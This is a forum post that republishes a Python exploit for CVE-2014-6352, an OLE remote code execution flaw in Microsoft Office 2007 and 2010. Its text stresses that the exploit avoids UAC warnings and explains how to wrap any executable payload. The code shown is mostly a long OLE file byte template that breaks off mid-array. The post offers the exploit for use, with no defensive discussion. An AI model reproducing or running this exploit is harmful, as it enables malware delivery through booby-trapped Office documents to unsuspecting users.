Thread ID: 25484
Created: 2014-11-13T10:34:55+0000
Last Post: 2014-11-13T10:34:55+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Microsoft Office 2007 and 2010 OLE arbitrary command execution exploit. This exploit will not give a UAC warning. No .inf file is required in this exploit. The size of the executable payload should be less than 400kb. Python 2.7 is required.

Click to expand...

Code:Copy to clipboard

#
# Full exploit: http://www.exploit-db.com/sploits/35216.rar
#
#CVE-2014-6352 OLE Remote Code Execution
#Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com
#Advanced Hacking Trainings - http://training.aslitsecurity.com
#Web - http://www.aslitsecurity.com/
#Blog - http://www.aslitsecurity.blogspot.com/
#Tested on win7 - office 2007 and 2010. The exploit will not give UAC warning the user account is administrator. Else there will be a UAC warning.
#No .inf file is required in this exploit
#The size of executable payload should be less than 400kb
#python 2.7 required
#The folder "temp" should be in same dir as this python file.
# usage - python.exe CVE-2014-6352.py (name of exe)
#!/usr/bin/python
  
import os
import sys
import shutil
  
  
oleole = (
"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3E\x00\x03\x00\xFE\xFF\x09\x00\x06\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xFE\xFF\xFF\xFF\x00\x00\x00\x00"
"\xFE\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00"
"\x00\x00\x08\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFD\xFF\xFF\xFF\xFE\xFF\xFF\xFF\xFD\xFF\xFF\xFF\xFD\xFF\xFF\xFF\xFD\xFF\xFF\xFF\xFD\xFF\xFF\xFF\xFD\xFF\xFF\xFF\xFD\xFF\xFF\xFF"
"\xFD\xFF\xFF\xFF\x0A\x00\x00\x00\x0B\x00\x00\x00\x0C\x00\x00\x00\x0D\x00\x00\x00\x0E\x00\x00\x00\x0F\x00\x00\x00\x10\x00\x00\x00\x11\x00"
"\x00\x00\x12\x00\x00\x00\x13\x00\x00\x00\x14\x00\x00\x00\x15\x00\x00\x00\x16\x00\x00\x00\x17\x00\x00\x00\x18\x00\x00\x00\x19\x00\x00\x00"
"\x1A\x00\x00\x00\x1B\x00\x00\x00\x1C\x00\x00\x00\x1D\x00\x00\x00\x1E\x00\x00\x00\x1F\x00\x00\x00\x20\x00\x00\x00\x21\x00\x00\x00\x22\x00"
"\x00\x00\x23\x00\x00\x00\x24\x00\x00\x00\x25\x00\x00\x00\x26\x00\x00\x00\x27\x00\x00\x00\x28\x00\x00\x00\x29\x00\x00\x00\x2A\x00\x00\x00"
"\x2B\x00\x00\x00\x2C\x00\x00\x00\x2D\x00\x00\x00\x2E\x00\x00\x00\x2F\x00\x00\x00\x30\x00\x00\x00\x31\x00\x00\x00\x32\x00\x00\x00\x33\x00"
"\x00\x00\x34\x00\x00\x00\x35\x00\x00\x00\x36\x00\x00\x00\x37\x00\x00\x00\x38\x00\x00\x00\x39\x00\x00\x00\x3A\x00\x00\x00\x3B\x00\x00\x00"
"\x3C\x00\x00\x00\x3D\x00\x00\x00\x3E\x00\x00\x00\x3F\x00\x00\x00\x40\x00\x00\x00\x41\x00\x00\x00\x42\x00\x00\x00\x43\x00\x00\x00\x44\x00"
"\x00\x00\x45\x00\x00\x00\x46\x00\x00\x00\x47\x00\x00\x00\x48\x00\x00\x00\x49\x00\x00\x00\x4A\x00\x00\x00\x4B\x00\x00\x00\x4C\x00\x00\x00"
"\x4D\x00\x00\x00\x4E\x00\x00\x00\x4F\x00\x00\x00\x50\x00\x00\x00\x51\x00\x00\x00\x52\x00\x00\x00\x53\x00\x00\x00\x54\x00\x00\x00\x55\x00"
"\x00\x00\x56\x00\x00\x00\x57\x00\x00\x00\x58\x00\x00\x00\x59\x00\x00\x00\x5A\x00\x00\x00\x5B\x00\x00\x00\x5C\x00\x00\x00\x5D\x00\x00\x00"
"\x5E\x00\x00\x00\x5F\x00\x00\x00\x60\x00\x00\x00\x61\x00\x00\x00\x62\x00\x00\x00\x63\x00\x00\x00\x64\x00\x00\x00\x65\x00\x00\x00\x66\x00"
"\x00\x00\x67\x00\x00\x00\x68\x00\x00\x00\x69\x00\x00\x00\x6A\x00\x00\x00\x6B\x00\x00\x00\x6C\x00\x00\x00\x6D\x00\x00\x00\x6E\x00\x00\x00"
"\x6F\x00\x00\x00\x70\x00\x00\x00\x71\x00\x00\x00\x72\x00\x00\x00\x73\x00\x00\x00\x74\x00\x00\x00\x75\x00\x00\x00\x76\x00\x00\x00\x77\x00"
"\x00\x00\x78\x00\x00\x00\x79\x00\x00\x00\x7A\x00\x00\x00\x7B\x00\x00\x00\x7C\x00\x00\x00\x7D\x00\x00\x00\x7E\x00\x00\x00\x7F\x00\x00\x00"
"\x80\x00\x00\x00\x52\x00\x6F\x00\x6F\x00\x74\x00\x20\x00\x45\x00\x6E\x00\x74\x00\x72\x00\x79\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x16\x00\x05\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x01\x00\x00\x00\x0C\x00\x03\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x8D\xED\x42\xD9\xF8\xCF\x01\xFE\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x4F\x00"
"\x6C\x00\x65\x00\x31\x00\x30\x00\x4E\x00\x61\x00\x74\x00\x69\x00\x76\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x02\x01\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x1D\x91\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x81\x00\x00\x00\x82\x00\x00\x00\x83\x00\x00\x00\x84\x00\x00\x00\x85\x00\x00\x00\x86\x00\x00\x00\x87\x00\x00\x00"
"\x88\x00\x00\x00\x89\x00\x00\x00\x8A\x00\x00\x00\x8B\x00\x00\x00\x8C\x00\x00\x00\x8D\x00\x00\x00\x8E\x00\x00\x00\x8F\x00\x00\x00\x90\x00"
"\x00\x00\x91\x00\x00\x00\x92\x00\x00\x00\x93\x00\x00\x00\x94\x00\x00\x00\x95\x00\x00\x00\x96\x00\x00\x00\x97\x00\x00\x00\x98\x00\x00\x00"
"\x99\x00\x00\x00\x9A\x00\x00\x00\x9B\x00\x00\x00\x9C\x00\x00\x00\x9D\x00\x00\x00\x9E\x00\x00\x00\x9F\x00\x00\x00\xA0\x00\x00\x00\xA1\x00"
"\x00\x00\xA2\x00\x00\x00\xA3\x00\x00\x00\xA4\x00\x00\x00\xA5\x00\x00\x00\xA6\x00\x00\x00\xA7\x00\x00\x00\xA8\x00\x00\x00\xA9\x00\x00\x00"
"\xAA\x00\x00\x00\xAB\x00\x00\x00\xAC\x00\x00\x00\xAD\x00\x00\x00\xAE\x00\x00\x00\xAF\x00\x00\x00\xB0\x00\x00\x00\xB1\x00\x00\x00\xB2\x00"
"\x00\x00\xB3\x00\x00\x00\xB4\x00\x00\x00\xB5\x00\x00\x00\xB6\x00\x00\x00\xB7\x00\x00\x00\xB8\x00\x00\x00\xB9\x00\x00\x00\xBA\x00\x00\x00"
"\xBB\x00\x00\x00\xBC\x00\x00\x00\xBD\x00\x00\x00\xBE\x00\x00\x00\xBF\x00\x00\x00\xC0\x00\x00\x00\xC1\x00\x00\x00\xC2\x00\x00\x00\xC3\x00"
"\x00\x00\xC4\x00\x00\x00\xC5\x00\x00\x00\xC6\x00\x00\x00\xC7\x00\x00\x00\xC8\x00\x00\x00\xC9\x00\x00\x00\xCA\x00\x00\x00\xCB\x00\x00\x00"
"\xCC\x00\x00\x00\xCD\x00\x00\x00\xCE\x00\x00\x00\xCF\x00\x00\x00\xD0\x00\x00\x00\xD1\x00\x00\x00\xD2\x00\x00\x00\xD3\x00\x00\x00\xD4\x00"
"\x00\x00\xD5\x00\x00\x00\xD6\x00\x00\x00\xD7\x00\x00\x00\xD8\x00\x00\x00\xD9\x00\x00\x00\xDA\x00\x00\x00\xDB\x00\x00\x00\xDC\x00\x00\x00"
"\xDD\x00\x00\x00\xDE\x00\x00\x00\xDF\x00\x00\x00\xE0\x00\x00\x00\xE1\x00\x00\x00\xE2\x00\x00\x00\xE3\x00\x00\x00\xE4\x00\x00\x00\xE5\x00"
"\x00\x00\xE6\x00\x00\x00\xE7\x00\x00\x00\xE8\x00\x00\x00\xE9\x00\x00\x00\xEA\x00\x00\x00\xEB\x00\x00\x00\xEC\x00\x00\x00\xED\x00\x00\x00"
"\xEE\x00\x00\x00\xEF\x00\x00\x00\xF0\x00\x00\x00\xF1\x00\x00\x00\xF2\x00\x00\x00\xF3\x00\x00\x00\xF4\x00\x00\x00\xF5\x00\x00\x00\xF6\x00"
"\x00\x00\xF7\x00\x00\x00\xF8\x00\x00\x00\xF9\x00\x00\x00\xFA\x00\x00\x00\xFB\x00\x00\x00\xFC\x00\x00\x00\xFD\x00\x00\x00\xFE\x00\x00\x00"
"\xFF\x00\x00\x00\x00\x01\x00\x00\x01\x01\x00\x00\x02\x01\x00\x00\x03\x01\x00\x00\x04\x01\x00\x00\x05\x01\x00\x00\x06\x01\x00\x00\x07\x01"
"\x00\x00\x08\x01\x00\x00\x09\x01\x00\x00\x0A\x01\x00\x00\x0B\x01\x00\x00\x0C\x01\x00\x00\x0D\x01\x00\x00\x0E\x01\x00\x00\x0F\x01\x00\x00"
"\x10\x01\x00\x00\x11\x01\x00\x00\x12\x01\x00\x00\x13\x01\x00\x00\x14\x01\x00\x00\x15\x01\x00\x00\x16\x01\x00\x00\x17\x01\x00\x00\x18\x01"
"\x00\x00\x19\x01\x00\x00\x1A\x01\x00\x00\x1B\x01\x00\x00\x1C\x01\x00\x00\x1D\x01\x00\x00\x1E\x01\x00\x00\x1F\x01\x00\x00\x20\x01\x00\x00"
"\x21\x01\x00\x00\x22\x01\x00\x00\x23\x01\x00\x00\x24\x01\x00\x00\x25\x01\x00\x00\x26\x01\x00\x00\x27\x01\x00\x00\x28\x01\x00\x00\x29\x01"
"\x00\x00\x2A\x01\x00\x00\x2B\x01\x00\x00\x2C\x01\x00\x00\x2D\x01\x00\x00\x2E\x01\x00\x00\x2F\x01\x00\x00\x30\x01\x00\x00\x31\x01\x00\x00"
"\x32\x01\x00\x00\x33\x01\x00\x00\x34\x01\x00\x00\x35\x01\x00\x00\x36\x01\x00\x00\x37\x01\x00\x00\x38\x01\x00\x00\x39\x01\x00\x00\x3A\x01"
"\x00\x00\x3B\x01\x00\x00\x3C\x01\x00\x00\x3D\x01\x00\x00\x3E\x01\x00\x00\x3F\x01\x00\x00\x40\x01\x00\x00\x41\x01\x00\x00\x42\x01\x00\x00"
"\x43\x01\x00\x00\x44\x01\x00\x00\x45\x01\x00\x00\x46\x01\x00\x00\x47\x01\x00\x00\x48\x01\x00\x00\x49\x01\x00\x00\x4A\x01\x00\x00\x4B\x01"
"\x00\x00\x4C\x01\x00\x00\x4D\x01\x00\x00\x4E\x01\x00\x00\x4F\x01\x00\x00\x50\x01\x00\x00\x51\x01\x00\x00\x52\x01\x00\x00\x53\x01\x00\x00"
"\x54\x01\x00\x00\x55\x01\x00\x00\x56\x01\x00\x00\x57\x01\x00\x00\x58\x01\x00\x00\x59\x01\x00\x00\x5A\x01\x00\x00\x5B\x01\x00\x00\x5C\x01"
"\x00\x00\x5D\x01\x00\x00\x5E\x01\x00\x00\x5F\x01\x00\x00\x60\x01\x00\x00\x61\x01\x00\x00\x62\x01\x00\x00\x63\x01\x00\x00\x64\x01\x00\x00"
"\x65\x01\x00\x00\x66\x01\x00\x00\x67\x01\x00\x00\x68\x01\x00\x00\x69\x01\x00\x00\x6A\x01\x00\x00\x6B\x01\x00\x00\x6C\x01\x00\x00\x6D\x01"
"\x00\x00\x6E\x01\x00\x00\x6F\x01\x00\x00\x70\x01\x00\x00\x71\x01\x00\x00\x72\x01\x00\x00\x73\x01\x00\x00\x74\x01\x00\x00\x75\x01\x00\x00"
"\x76\x01\x00\x00\x77\x01\x00\x00\x78\x01\x00\x00\x79\x01\x00\x00\x7A\x01\x00\x00\x7B\x01\x00\x00\x7C\x01\x00\x00\x7D\x01\x00\x00\x7E\x01"
"\x00\x00\x7F\x01\x00\x00\x80\x01\x00\x00\x81\x01\x00\x00\x82\x01\x00\x00\x83\x01\x00\x00\x84\x01\x00\x00\x85\x01\x00\x00\x86\x01\x00\x00"
"\x87\x01\x00\x00\x88\x01\x00\x00\x89\x01\x00\x00\x8A\x01\x00\x00\x8B\x01\x00\x00\x8C\x01\x00\x00\x8D\x01\x00\x00\x8E\x01\x00\x00\x8F\x01"
"\x00\x00\x90\x01\x00\x00\x91\x01\x00\x00\x92\x01\x00\x00\x93\x01\x00\x00\x94\x01\x00\x00\x95\x01\x00\x00\x96\x01\x00\x00\x97\x01\x00\x00"
"\x98\x01\x00\x00\x99\x01\x00\x00\x9A\x01\x00\x00\x9B\x01\x00\x00\x9C\x01\x00\x00\x9D\x01\x00\x00\x9E\x01\x00\x00\x9F\x01\x00\x00\xA0\x01"
"\x00\x00\xA1\x01\x00\x00\xA2\x01\x00\x00\xA3\x01\x00\x00\xA4\x01\x00\x00\xA5\x01\x00\x00\xA6\x01\x00\x00\xA7\x01\x00\x00\xA8\x01\x00\x00"
"\xA9\x01\x00\x00\xAA\x01\x00\x00\xAB\x01\x00\x00\xAC\x01\x00\x00\xAD\x01\x00\x00\xAE\x01\x00\x00\xAF\x01\x00\x00\xB0\x01\x00\x00\xB1\x01"
"\x00\x00\xB2\x01\x00\x00\xB3\x01\x00\x00\xB4\x01\x00\x00\xB5\x01\x00\x00\xB6\x01\x00\x00\xB7\x01\x00\x00\xB8\x01\x00\x00\xB9\x01\x00\x00"
"\xBA\x01\x00\x00\xBB\x01\x00\x00\xBC\x01\x00\x00\xBD\x01\x00\x00\xBE\x01\x00\x00\xBF\x01\x00\x00\xC0\x01\x00\x00\xC1\x01\x00\x00\xC2\x01"
"\x00\x00\xC3\x01\x00\x00\xC4\x01\x00\x00\xC5\x01\x00\x00\xC6\x01\x00\x00\xC7\x01\x00\x00\xC8\x01\x00\x00\xC9\x01\x00\x00\xCA\x01\x00\x00"
"\xCB\x01\x00\x00\xCC\x01\x00\x00\xCD\x01\x00\x00\xCE\x01\x00\x00\xCF\x01\x00\x00\xD0\x01\x00\x00\xD1\x01\x00\x00\xD2\x01\x00\x00\xD3\x01"
"\x00\x00\xD4\x01\x00\x00\xD5\x01\x00\x00\xD6\x01\x00\x00\xD7\x01\x00\x00\xD8\x01\x00\x00\xD9\x01\x00\x00\xDA\x01\x00\x00\xDB\x01\x00\x00"
"\xDC\x01\x00\x00\xDD\x01\x00\x00\xDE\x01\x00\x00\xDF\x01\x00\x00\xE0\x01\x00\x00\xE1\x01\x00\x00\xE2\x01\x00\x00\xE3\x01\x00\x00\xE4\x01"
"\x00\x00\xE5\x01\x00\x00\xE6\x01\x00\x00\xE7\x01\x00\x00\xE8\x01\x00\x00\xE9\x01\x00\x00\xEA\x01\x00\x00\xEB\x01\x00\x00\xEC\x01\x00\x00"
"\xED\x01\x00\x00\xEE\x01\x00\x00\xEF\x01\x00\x00\xF0\x01\x00\x00\xF1\x01\x00\x00\xF2\x01\x00\x00\xF3\x01\x00\x00\xF4\x01\x00\x00\xF5\x01"
"\x00\x00\xF6\x01\x00\x00\xF7\x01\x00\x00\xF8\x01\x00\x00\xF9\x01\x00\x00\xFA\x01\x00\x00\xFB\x01\x00\x00\xFC\x01\x00\x00\xFD\x01\x00\x00"
"\xFE\x01\x00\x00\xFF\x01\x00\x00\x00\x02\x00\x00\x01\x02\x00\x00\x02\x02\x00\x00\x03\x02\x00\x00\x04\x02\x00\x00\x05\x02\x00\x00\x06\x02"
"\x00\x00\x07\x02\x00\x00\x08\x02\x00\x00\x09\x02\x00\x00\x0A\x02\x00\x00\x0B\x02\x00\x00\x0C\x02\x00\x00\x0D\x02\x00\x00\x0E\x02\x00\x00"
"\x0F\x02\x00\x00\x10\x02\x00\x00\x11\x02\x00\x00\x12\x02\x00\x00\x13\x02\x00\x00\x14\x02\x00\x00\x15\x02\x00\x00\x16\x02\x00\x00\x17\x02"
"\x00\x00\x18\x02\x00\x00\x19\x02\x00\x00\x1A\x02\x00\x00\x1B\x02\x00\x00\x1C\x02\x00\x00\x1D\x02\x00\x00\x1E\x02\x00\x00\x1F\x02\x00\x00"
"\x20\x02\x00\x00\x21\x02\x00\x00\x22\x02\x00\x00\x23\x02\x00\x00\x24\x02\x00\x00\x25\x02\x00\x00\x26\x02\x00\x00\x27\x02\x00\x00\x28\x02"
"\x00\x00\x29\x02\x00\x00\x2A\x02\x00\x00\x2B\x02\x00\x00\x2C\x02\x00\x00\x2D\x02\x00\x00\x2E\x02\x00\x00\x2F\x02\x00\x00\x30\x02\x00\x00"
"\x31\x02\x00\x00\x32\x02\x00\x00\x33\x02\x00\x00\x34\x02\x00\x00\x35\x02\x00\x00\x36\x02\x00\x00\x37\x02\x00\x00\x38\x02\x00\x00\x39\x02"
"\x00\x00\x3A\x02\x00\x00\x3B\x02\x00\x00\x3C\x02\x00\x00\x3D\x02\x00\x00\x3E\x02\x00\x00\x3F\x02\x00\x00\x40\x02\x00\x00\x41\x02\x00\x00"
"\x42\x02\x00\x00\x43\x02\x00\x00\x44\x02\x00\x00\x45\x02\x00\x00\x46\x02\x00\x00\x47\x02\x00\x00\x48\x02\x00\x00\x49\x02\x00\x00\x4A\x02"
"\x00\x00\x4B\x02\x00\x00\x4C\x02\x00\x00\x4D\x02\x00\x00\x4E\x02\x00\x00\x4F\x02\x00\x00\x50\x02\x00\x00\x51\x02\x00\x00\x52\x02\x00\x00"
"\x53\x02\x00\x00\x54\x02\x00\x00\x55\x02\x00\x00\x56\x02\x00\x00\x57\x02\x00\x00\x58\x02\x00\x00\x59\x02\x00\x00\x5A\x02\x00\x00\x5B\x02"
"\x00\x00\x5C\x02\x00\x00\x5D\x02\x00\x00\x5E\x02\x00\x00\x5F\x02\x00\x00\x60\x02\x00\x00\x61\x02\x00\x00\x62\x02\x00\x00\x63\x02\x00\x00"
"\x64\x02\x00\x00\x65\x02\x00\x00\x66\x02\x00\x00\x67\x02\x00\x00\x68\x02\x00\x00\x69\x02\x00\x00\x6A\x02\x00\x00\x6B\x02\x00\x00\x6C\x02"
"\x00\x00\x6D\x02\x00\x00\x6E\x02\x00\x00\x6F\x02\x00\x00\x70\x02\x00\x00\x71\x02\x00\x00\x72\x02\x00\x00\x73\x02\x00\x00\x74\x02\x00\x00"
"\x75\x02\x00\x00\x76\x02\x00\x00\x77\x02\x00\x00\x78\x02\x00\x00\x79\x02\x00\x00\x7A\x02\x00\x00\x7B\x02\x00\x00\x7C\x02\x00\x00\x7D\x02"
"\x00\x00\x7E\x02\x00\x00\x7F\x02\x00\x00\x80\x02\x00\x00\x81\x02\x00\x00\x82\x02\x00\x00\x83\x02\x00\x00\x84\x02\x00\x00\x85\x02\x00\x00"
"\x86\x02\x00\x00\x87\x02\x00\x00\x88\x02\x00\x00\x89\x02\x00\x00\x8A\x02\x00\x00\x8B\x02\x00\x00\x8C\x02\x00\x00\x8D\x02\x00\x00\x8E\x02"
"\x00\x00\x8F\x02\x00\x00\x90\x02\x00\x00\x91\x02\x00\x00\x92\x02\x00\x00\x93\x02\x00\x00\x94\x02\x00\x00\x95\x02\x00\x00\x96\x02\x00\x00"
"\x97\x02\x00\x00\x98\x02\x00\x00\x99\x02\x00\x00\x9A\x02\x00\x00\x9B\x02\x00\x00\x9C\x02\x00\x00\x9D\x02\x00\x00\x9E\x02\x00\x00\x9F\x02"
"\x00\x00\xA0\x02\x00\x00\xA1\x02\x00\x00\xA2\x02\x00\x00\xA3\x02\x00\x00\xA4\x02\x00\x00\xA5\x02\x00\x00\xA6\x02\x00\x00\xA7\x02\x00\x00"
"\xA8\x02\x00\x00\xA9\x02\x00\x00\xAA\x02\x00\x00\xAB\x02\x00\x00\xAC\x02\x00\x00\xAD\x02\x00\x00\xAE\x02\x00\x00\xAF\x02\x00\x00\xB0\x02"
"\x00\x00\xB1\x02\x00\x00\xB2\x02\x00\x00\xB3\x02\x00\x00\xB4\x02\x00\x00\xB5\x02\x00\x00\xB6\x02\x00\x00\xB7\x02\x00\x00\xB8\x02\x00\x00"
"\xB9\x02\x00\x00\xBA\x02\x00\x00\xBB\x02\x00\x00\xBC\x02\x00\x00\xBD\x02\x00\x00\xBE\x02\x00\x00\xBF\x02\x00\x00\xC0\x02\x00\x00\xC1\x02"
"\x00\x00\xC2\x02\x00\x00\xC3\x02\x00\x00\xC4\x02\x00\x00\xC5\x02\x00\x00\xC6\x02\x00\x00\xC7\x02\x00\x00\xC8\x02\x00\x00\xC9\x02\x00\x00"
"\xCA\x02\x00\x00\xCB\x02\x00\x00\xCC\x02\x00\x00\xCD\x02\x00\x00\xCE\x02\x00\x00\xCF\x02\x00\x00\xD0\x02\x00\x00\xD1\x02\x00\x00\xD2\x02"
"\x00\x00\xD3\x02\x00\x00\xD4\x02\x00\x00\xD5\x02\x00\x00\xD6\x02\x00\x00\xD7\x02\x00\x00\xD8\x02\x00\x00\xD9\x02\x00\x00\xDA\x02\x00\x00"
"\xDB\x02\x00\x00\xDC\x02\x00\x00\xDD\x02\x00\x00\xDE\x02\x00\x00\xDF\x02\x00\x00\xE0\x02\x00\x00\xE1\x02\x00\x00\xE2\x02\x00\x00\xE3\x02"
"\x00\x00\xE4\x02\x00\x00\xE5\x02\x00\x00\xE6\x02\x00\x00\xE7\x02\x00\x00\xE8\x02\x00\x00\xE9\x02\x00\x00\xEA\x02\x00\x00\xEB\x02\x00\x00"
"\xEC\x02\x00\x00\xED\x02\x00\x00\xEE\x02\x00\x00\xEF\x02\x00\x00\xF0\x02\x00\x00\xF1\x02\x00\x00\xF2\x02\x00\x00\xF3\x02\x00\x00\xF4\x02"
"\x00\x00\xF5\x02\x00\x00\xF6\x02\x00\x00\xF7\x02\x00\x00\xF8\x02\x00\x00\xF9\x02\x00\x00\xFA\x02\x00\x00\xFB\x02\x00\x00\xFC\x02\x00\x00"
"\xFD\x02\x00\x00\xFE\x02\x00\x00\xFF\x02\x00\x00\x00\x03\x00\x00\x01\x03\x00\x00\x02\x03\x00\x00\x03\x03\x00\x00\x04\x03\x00\x00\x05\x03"
"\x00\x00\x06\x03\x00\x00\x07\x03\x00\x00\x08\x03\x00\x00\x09\x03\x00\x00\x0A\x03\x00\x00\x0B\x03\x00\x00\x0C\x03\x00\x00\x0D\x03\x00\x00"
"\x0E\x03\x00\x00\x0F\x03\x00\x00\x10\x03\x00\x00\x11\x03\x00\x00\x12\x03\x00\x00\x13\x03\x00\x00\x14\x03\x00\x00\x15\x03\x00\x00\x16\x03"
"\x00\x00\x17\x03\x00\x00\x18\x03\x00\x00\x19\x03\x00\x00\x1A\x03\x00\x00\x1B\x03\x00\x00\x1C\x03\x00\x00\x1D\x03\x00\x00\x1E\x03\x00\x00"
"\x1F\x03\x00\x00\x20\x03\x00\x00\x21\x03\x00\x00\x22\x03\x00\x00\x23\x03\x00\x00\x24\x03\x00\x00\x25\x03\x00\x00\x26\x03\x00\x00\x27\x03"
"\x00\x00\x28\x03\x00\x00\x29\x03\x00\x00\x2A\x03\x00\x00\x2B\x03\x00\x00\x2C\x03\x00\x00\x2D\x03\x00\x00\x2E\x03\x00\x00\x2F\x03\x00\x00"
"\x30\x03\x00\x00\x31\x03\x00\x00\x32\x03\x00\x00\x33\x03\x00\x00\x34\x03\x00\x00\x35\x03\x00\x00\x36\x03\x00\x00\x37\x03\x00\x00\x38\x03"
"\x00\x00\x39\x03\x00\x00\x3A\x03\x00\x00\x3B\x03\x00\x00\x3C\x03\x00\x00\x3D\x03\x00\x00\x3E\x03\x00\x00\x3F\x03\x00\x00\x40\x03\x00\x00"
